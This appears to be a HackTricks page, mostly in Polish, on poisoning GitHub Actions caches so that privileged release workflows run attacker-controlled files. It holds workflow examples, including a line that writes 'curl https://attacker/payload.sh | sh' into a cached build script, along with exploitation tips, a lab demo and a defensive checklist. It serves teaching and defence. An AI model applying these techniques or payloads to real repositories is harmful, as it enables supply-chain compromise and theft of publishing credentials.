GH Actions - Cache Poisoning

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Przegląd

Cache GitHub Actions jest globalny w obrębie repozytorium. Każdy workflow, który zna cache key (lub restore-keys), może wypełnić ten wpis, nawet jeśli job ma jedynie permissions: contents: read. GitHub nie separuje cache według workflow, typu zdarzenia ani poziomu zaufania, więc atakujący, który przełamie mało uprzywilejowany job, może zatruć cache, który później przywróci uprzywilejowany job release. W ten sposób kompromitacja Ultralytics przekształciła się z workflow pull_request_target w pipeline publikujący do PyPI.

Podstawowe elementy ataku

  • actions/cache udostępnia zarówno operacje restore, jak i save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Wywołanie save jest dozwolone dla dowolnego joba z wyjątkiem naprawdę nieufnych workflow pull_request uruchamianych z forków.
  • Wpisy cache identyfikowane są wyłącznie przez key. Szerokie restore-keys ułatwiają wstrzyknięcie payloadów, ponieważ atakujący musi tylko zderzyć się z prefiksem.
  • Cache keys i wersje są wartościami określanymi po stronie klienta; serwis cache nie weryfikuje, czy key/version odpowiada zaufanemu workflow lub ścieżce cache.
  • URL serwera cache + runtime token mają długi czas życia względem workflow (historycznie ~6 godzin, teraz ~90 minut) i nie można ich odwołać przez użytkownika. Od końca 2024 GitHub blokuje zapisy do cache po zakończeniu oryginalnego joba, więc atakujący musi zapisać podczas gdy job nadal działa albo wcześniej zatruć przyszłe klucze.
  • Zbuforowany system plików jest przywracany dosłownie. Jeśli cache zawiera skrypty lub binaria, które zostaną wykonane później, atakujący kontroluje ścieżkę wykonania.
  • Sam plik cache nie jest weryfikowany przy restore; to po prostu archiwum skompresowane zstd, więc zatruty wpis może nadpisać skrypty, package.json lub inne pliki w ścieżce przywracania.

Przykładowy łańcuch eksploatacji

Workflow autora (pull_request_target) zatruł cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Uprzywilejowany workflow przywrócił i uruchomił zatruty cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Drugi zadanie teraz uruchamia kod kontrolowany przez atakującego, posiadając jednocześnie poświadczenia wydania (PyPI tokens, PATs, cloud deploy keys, itp.).

Poisoning mechanics

Wpisy cache GitHub Actions są zazwyczaj archiwami tar skompresowanymi zstd. Możesz utworzyć takie lokalnie i przesłać je do cache:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.

Praktyczne wskazówki dotyczące eksploatacji

  • Celuj w workflows uruchamiane przez pull_request_target, issue_comment lub polecenia bota, które nadal zapisują cache; GitHub pozwala im nadpisywać repository-wide keys nawet gdy runner ma tylko dostęp do odczytu repo.
  • Szukaj deterministycznych cache keys używanych w różnych granicach zaufania (na przykład pip-${{ hashFiles('poetry.lock') }}) lub zbyt permissive restore-keys, a następnie zapisz swój złośliwy tarball zanim uprzywilejowany workflow się uruchomi.
  • Monitoruj logi pod kątem wpisów Cache saved lub dodaj własny krok zapisujący cache, aby następny release job przywrócił payload i uruchomił trojanizowane skrypty albo binarki.

Nowsze techniki zaobserwowane w łańcuchu Angular (2026)

  • Cache v2 “prefix hit” behavior: W Cache v2, nawet dokładne misses mogą przywrócić inny wpis dzielący ten sam prefix klucza (efektywnie “all keys are restore keys”). Atakujący mogą wstępnie seedować near-collision keys, żeby przyszły miss wpadł na zatruty obiekt.
  • Forced eviction in one run: Od 20 listopada 2025 GitHub natychmiast usuwa wpisy, gdy użycie cache repo przekroczy limit (domyślnie 10 GB). Atakujący może najpierw przesłać junk cache data, usunąć legit entries w tym samym jobie, a następnie zapisać złośliwy cache key bez czekania na dzienny cykl czyszczenia.
  • setup-node cache pivots via reusable actions: Reusable/internal actions, które opakowują actions/setup-node z cache-dependency-path, mogą cicho połączyć low-trust i high-trust workflows. Jeśli obie ścieżki haszują się do wspólnych kluczy, zatruwanie dependency cache może wykonać się w uprzywilejowanej automatyzacji (np. Renovate/bot jobs).
  • Chaining cache poisoning into bot-driven supply chain abuse: W przypadku Angulara, cache poisoning ujawnił bot PAT, który potem umożliwił force-push bot-owned PR heads po approval. Jeśli reguły resetu approval zwalniają bot actors, to pozwala na podmianę reviewed commits na złośliwe (np. imposter action SHAs) przed merge.

##å Cacheract

Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing. Praktyczna wartość polega na automatyzacji kruchych części, które łatwo zepsuć ręcznie:

  • Wykrywa i wykorzystuje runtime cache context z runnera (ACTIONS_RUNTIME_TOKEN i cache service URL).
  • Enumeruje i celuje w candidate cache keys/versions używane przez downstream workflows.
  • Wymusza eviction przez przepełnienie cache quota (jeśli dotyczy), a następnie zapisuje attacker-controlled entries w tym samym runie.
  • Zasiewa poisoned cache content tak, żeby późniejsze workflows przywróciły i wykonały zmodyfikowane tooling.

To jest szczególnie przydatne w środowiskach Cache v2, gdzie timing i zachowanie key/version mają większe znaczenie niż we wczesnych implementacjach cache.

Demo

Używaj tego tylko w repozytoriach, które posiadasz lub do których masz wyraźne pozwolenie na testy.

1. Vulnerable workflow (untrusted trigger can save cache)

Ten workflow symuluje antywzorzec pull_request_target: zapisuje zawartość cache z kontekstu kontrolowanego przez atakującego i zapisuje ją pod deterministycznym kluczem.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Privileged workflow (przywraca i uruchamia z pamięci podręcznej plik binarny/skrypt)

Ten workflow przywraca ten sam klucz i uruchamia toolchain/bin/build, posiadając jednocześnie testowy sekret. Jeśli zostanie zatruty, ścieżka wykonania jest kontrolowana przez atakującego.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Uruchom laboratorium

  • Dodaj stabilny toolchain.lock plik, aby oba workflows rozwiązywały ten sam cache key.
  • Wyzwól untrusted-cache-writer z testowego PR.
  • Wyzwól privileged-consumer przez workflow_dispatch.
  • Potwierdź, że POISONED_BUILD_PATH pojawia się w logach i że /tmp/cache-poisoning-demo.txt został utworzony.

4. Co to demonstruje technicznie

  • Cross-workflow cache trust break: Writer i consumer workflows nie dzielą poziomu zaufania, ale współdzielą cache namespace.
  • Execution-on-restore risk: Nie przeprowadza się weryfikacji integralności przed uruchomieniem przywróconego skryptu/binarki.
  • Deterministic key abuse: Jeśli job o wysokim zaufaniu używa przewidywalnych kluczy, job o niskim zaufaniu może uprzednio umieścić złośliwą zawartość.

5. Lista kontrolna weryfikacji obronnej

  • Oddzielaj klucze według granicy zaufania (pr-, ci-, release-) i unikaj współdzielonych prefiksów.
  • Wyłącz zapisy do cache w untrusted workflows.
  • Wylicz hash/weryfikuj przywróconą zawartość wykonywalną przed jej uruchomieniem.
  • Unikaj uruchamiania narzędzi bezpośrednio ze ścieżek cache.

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks